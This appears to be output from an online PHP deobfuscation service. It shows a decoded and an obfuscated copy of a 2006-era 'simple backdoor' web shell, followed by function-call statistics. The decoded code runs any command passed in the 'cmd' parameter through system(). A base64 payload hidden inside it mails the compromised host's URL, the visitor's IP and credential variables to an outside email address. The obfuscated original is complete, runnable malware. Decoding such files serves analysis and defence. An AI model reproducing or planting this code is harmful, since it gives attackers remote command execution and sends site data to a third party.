Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php $OOO000000=urldecode('%66%67%36%73%62%65%68%70%72%61%34%63%6f%5f%74%6e%64');$OOO0000..
Decoded Output download
echo '<!-- Simple PHP backdoor by DK (http://michaeldaw.org) -->
';
if(isset($_REQUEST['cmd'])){
echo "<pre>";
$cmd = ($_REQUEST['cmd']);
$GLOBALS['IIIIIIIIIIIl']($cmd);
echo "</pre>";
die;
}
$IIIIIIIIIII1 = "JHZpc2l0YyA9ICRfQ09PS0lFWyJ2aXNpdHMiXTsKaWYgKCR2aXNpdGMgPT0gIiIpIHsKICAkdmlzaXRjICA9IDA7CiAgJHZpc2l0b3IgPSAkX1NFUlZFUlsiUkVNT1RFX0FERFIiXTsKICAkd2ViICAgICA9ICRfU0VSVkVSWyJIVFRQX0hPU1QiXTsKICAkaW5qICAgICA9ICRfU0VSVkVSWyJSRVFVRVNUX1VSSSJdOwogICR0YXJnZXQgID0gcmF3dXJsZGVjb2RlKCR3ZWIuJGluaik7CiAgJGp1ZHVsICAgPSAiMTc4LUJsYWNrIGh0dHA6Ly8kdGFyZ2V0IGJ5ICR2aXNpdG9yIjsKICAkYm9keSAgICA9ICJCdWc6ICR0YXJnZXQgYnkgJHZpc2l0b3IgLSAkdXNlciAtICRhdXRoX3Bhc3MiOwogIGlmICghZW1wdHkoJHdlYikpIHsgQG1haWwoImhhcmR3YXJlaGVhdmVuLmNvbUBnbWFpbC5jb20iLCRqdWR1bCwkYm9keSwkdXNlciwkYXV0aF9wYXNzKTsgfQp9CmVsc2UgeyAkdmlzaXRjKys7IH0KQHNldGNvb2tpZSgidmlzaXR6IiwkdmlzaXRjKTs=";
eval($GLOBALS['IIIIIIIIIIlI']($IIIIIIIIIII1));
;echo '
Usage: http://target.com/simple-backdoor.php?cmd=cat+/etc/passwd
<!-- http://michaeldaw.org 2006 -->';;
Did this file decode correctly?
Original Code
<?php $OOO000000=urldecode('%66%67%36%73%62%65%68%70%72%61%34%63%6f%5f%74%6e%64');$OOO0000O0=$OOO000000{4}.$OOO000000{9}.$OOO000000{3}.$OOO000000{5};$OOO0000O0.=$OOO000000{2}.$OOO000000{10}.$OOO000000{13}.$OOO000000{16};$OOO0000O0.=$OOO0000O0{3}.$OOO000000{11}.$OOO000000{12}.$OOO0000O0{7}.$OOO000000{5};?><?php eval($GLOBALS['OOO0000O0']('JElJSUlJSUlJSUlsST0nYmFzZTY0X2RlY29kZSc7JElJSUlJSUlJSUlJbD0nc3lzdGVtJzs=')); ?><?php /* [email protected] */$OOO000O00=$OOO000000{0}.$OOO000000{12}.$OOO000000{7}.$OOO000000{5}.$OOO000000{15};$O0O000O00=$OOO000000{0}.$OOO000000{1}.$OOO000000{5}.$OOO000000{14};$O0O000O0O=$O0O000O00.$OOO000000{11};$O0O000O00=$O0O000O00.$OOO000000{3};$O0O00OO00=$OOO000000{0}.$OOO000000{8}.$OOO000000{5}.$OOO000000{9}.$OOO000000{16};$OOO00000O=$OOO000000{3}.$OOO000000{14}.$OOO000000{8}.$OOO000000{14}.$OOO000000{8};$OOO0O0O00=__FILE__;$OO00O0000=0x554;eval($OOO0000O0('JE8wMDBPME8wMD0kT09PMDAwTzAwKCRPT08wTzBPMDAsJ3JiJyk7JE8wTzAwT08wMCgkTzAwME8wTzAwLDB4NTExKTskT08wME8wME8wPSRPT08wMDAwTzAoJE9PTzAwMDAwTygkTzBPMDBPTzAwKCRPMDAwTzBPMDAsMHgxN2MpLCdhM21MZS84SVdRNFpyZjl3YmNWcDI3RW82SFlYU3N1akNKTU5La1AweFRSMXlkaDVCQWx2RFUrcUdpRm5PZ3R6PScsJ0FCQ0RFRkdISUpLTE1OT1BRUlNUVVZXWFlaYWJjZGVmZ2hpamtsbW5vcHFyc3R1dnd4eXowMTIzNDU2Nzg5Ky8nKSk7ZXZhbCgkT08wME8wME8wKTs='));return;?>gSdgpKDo\}SUr]DQegwrL3wrL3wrLUvsIQjSP7BX8/NHVC0oUg8V2A/oUO0Zm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QJEeiBHeSiu2kRSDdQbD/1EEDiY+7pbEsQbDeiV2f4b+co6vHQbUWBE7J4XkT62EsHXPd0VKJYS8rlXL3MrDk0p/f3Y+c6pPANY2/DV2fVY8c62Pg6rDQx6vffY2gqX+sQc+AdV2f0Y/TorosKV8d5VKJKX/kTYq3QVIf022SAY8/os+gQXEJx6+UVrUk6VPAJcUHxH8UEs2Adp0HM72Qh6ks8S8QLfETMrN3TpefVSEco2N/Mbqs1EEDiY+7ps+dKEeiy6+kqYUk67N3JcNkqE7J9uKd2S+sP2oaib+UES+rl7Esku2/1H8UyuP/62PTZuorqV2CBVU/WpPAKcDi+6NQDS/TpH+kKXEAF67JVfKkTs+dKXEAF67JVYKd2SvDM9BTksP/y4mcIpegmb2ApElsQV2kQV2kQV2kQXeK0oVCKV2kQV2kQV2kQV2KA4VKnmNdk6+J5WmSfmk7v6Esk9M3xsIcB9MO5s8/lH+7DZPf5XVgvYEUBX82d6P/NY+c5XqWhS8JBw+fdHLUN6ob1Z+7D6lgB6ofvs+bfmCD4wmedZVaCWm3xsIcB9MO5XEkNY8/kX8cJsli5SPSCWmalrLa+WmaCWmDdwMSn9B==MiaGVPb^LFlkG\OQgGp
Function Calls
fopen | 1 |
fread | 3 |
strtr | 2 |
fclose | 1 |
urldecode | 1 |
str_replace | 1 |
base64_decode | 4 |
Stats
MD5 | e921e31a46109ac9f97292c90e689e54 |
Eval Count | 4 |
Decode Time | 133 ms |